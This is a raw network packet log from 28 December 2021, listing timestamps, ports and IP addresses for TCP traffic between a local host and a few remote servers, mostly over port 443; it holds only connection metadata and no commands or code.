Dec 28, 2021 05:19:41.522313118 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.522329092 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.522357941 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.522401094 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.522434950 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.522486925 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.522497892 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.522517920 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.522574902 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.523325920 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.537836075 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.537883043 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.537936926 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.537954092 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.537983894 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.538002968 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.538134098 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.538167000 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.538218975 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.538232088 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.538248062 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.538274050 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.538767099 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.538803101 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.538850069 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.538861990 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.538894892 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.538904905 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.539124966 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.539161921 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.539203882 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.539216042 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.539244890 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.539263010 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.539450884 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.539488077 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.539526939 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.539540052 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.539566040 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.539587975 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.539788961 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.539828062 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.539872885 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.539885044 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.539907932 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.539935112 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.540487051 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.540527105 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.540574074 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.540585995 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.540630102 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.540652037 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.540980101 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.541018009 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.541064024 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.541075945 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.541106939 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.541130066 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.541270018 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.541306019 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.541420937 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.541434050 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.541570902 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.541605949 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.541692972 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.541707039 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.541737080 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.541763067 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.541799068 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.541897058 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.541934967 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.541980982 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.541991949 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.542020082 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.542037010 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.542309046 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.542346001 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.542381048 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.542393923 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.542422056 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.542439938 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.542566061 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.542602062 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.542642117 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.542654991 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.542762041 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.542771101 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.554902077 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.555284977 CET	49849	80	192.168.2.3	194.180.174.53
Dec 28, 2021 05:19:41.567034960 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.567085981 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.567137003 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.567154884 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.567182064 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.567209005 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.567303896 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.567343950 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.567390919 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.567404032 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.567425013 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.567451954 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.567533970 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.567569017 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.567611933 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.567624092 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.567655087 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.567679882 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.567728043 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.567760944 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.567810059 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.567822933 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.567842960 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.567897081 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.579329967 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.579371929 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.579432964 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.579447031 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.579488993 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.579504013 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.579588890 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.579624891 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.579670906 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.579683065 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.579708099 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.579734087 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.579828978 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.579902887 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.579909086 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.579978943 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.580019951 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.580099106 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.580137014 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.580167055 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.580179930 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.580219984 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.580329895 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.580370903 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.580401897 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.580415010 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.580451012 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.580552101 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.580585957 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.580620050 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.580631971 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.580661058 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.580770016 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.580805063 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.580842018 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.580882072 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.580895901 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.581052065 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.581089020 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.581125975 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.581140041 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.581156015 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.581162930 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.581299067 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.581335068 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.581382990 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.581393957 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:41.581403017 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.581424952 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.581491947 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:41.581494093 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.581527948 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.581561089 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.581573009 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.581594944 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.581724882 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.581762075 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.581813097 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.581826925 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.581854105 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.581953049 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.581974983 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:41.581988096 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.582098961 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.582110882 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.582133055 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.582174063 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.582207918 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.582250118 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.582261086 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.582276106 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.582370996 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.582406998 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.582439899 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.582451105 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.582480907 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.582573891 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.582607985 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.582653046 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.582669020 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.582680941 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.582773924 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.582808018 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.582849026 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.582860947 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.582887888 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.582972050 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.583004951 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.583046913 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.583059072 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.583074093 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.583167076 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.583200932 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.583235025 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.583245993 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.583271027 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.583394051 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.583431005 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.583465099 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.583477020 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.583492994 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.583620071 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.583653927 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.583688021 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.583700895 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.583715916 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.583736897 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.583848000 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.583883047 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.583925009 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.583939075 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.583954096 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.584075928 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.584110975 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.584155083 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.584167957 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.584182978 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.584285975 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.584322929 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.584367990 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.584382057 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.584397078 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.584501982 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.584537029 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.584573984 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.584585905 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.584615946 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.584723949 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.584759951 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.584794998 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.584806919 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.584820986 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.584976912 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.585012913 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.585077047 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.585088968 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.585103035 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.585211992 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.585248947 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.585292101 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.585314035 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.585326910 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.585438967 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.585479021 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.585510969 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.585521936 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.585536957 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.585561037 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.585659027 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.585692883 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.585736036 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.585747957 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.585767984 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.585853100 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.585886002 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.585999012 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.586033106 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.586054087 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.586103916 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.586106062 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.586138010 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.586148024 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.586177111 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.586219072 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.586287022 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.586323023 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.586364031 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.586383104 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.586402893 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.586427927 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.586503029 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.586539984 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.586587906 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.586599112 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.586658955 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.586664915 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.586711884 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.586760044 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.586806059 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.586838961 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.586849928 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.586909056 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.586951971 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.586987019 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.587029934 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.587040901 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.587085962 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.587096930 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.587171078 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.587204933 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.587258101 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.587270975 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.587308884 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.587335110 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.587385893 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.587424040 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.587469101 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.587480068 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.587505102 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.587528944 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.587605953 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.587641001 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.587682962 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.587696075 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.587724924 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.587743044 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.587824106 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.587861061 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.587908983 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.587920904 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.587948084 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.587970972 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.588031054 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.588067055 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.588114023 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.588124990 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.588145018 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.588175058 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.588218927 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.588255882 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.588303089 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.588315010 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.588428020 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.595779896 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.595802069 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.595885992 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.595896006 CET	443	49847	162.159.134.233	192.168.2.3
